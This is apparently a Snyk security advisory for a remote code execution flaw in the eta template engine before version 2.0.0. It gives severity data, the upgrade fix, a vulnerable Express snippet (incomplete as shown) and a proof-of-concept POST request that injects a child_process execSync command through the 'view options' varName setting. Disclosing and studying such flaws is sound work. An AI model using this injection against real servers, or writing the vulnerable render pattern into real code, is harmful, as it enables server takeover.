Remote Code Execution (RCE) Affecting eta package, versions <2.0.0



    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.23% (60th percentile)
Expand this section
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ETA-2936803
  • published 29 Jan 2023
  • disclosed 29 Jun 2022
  • credit Rayhan Ahmed Niloy

How to fix?

Upgrade eta to version 2.0.0 or higher.


eta is a Lightweight, fast, and powerful embedded JS template engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by overwriting template engine configuration variables with view options received from The Express render API.

Note: This is exploitable only for users who are rendering templates with user-defined data.


const express = require('express')

const app = express()
const eta = require('eta');

app.engine('eta', eta.renderFile);
app.set('view engine', 'eta');

app.set('views', './views');'/user/update', function (req, res) {
const userConfig = req.body;

res.render('index.eta', {settings: userConfig});

app.listen(8001, function () {
console.log('listening for requests on http://localhost:8001')

Exploit request:

POST /user/update HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 219

{ "view options": { "varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')", "include" : false, "includeFile": false, "useWith": true } }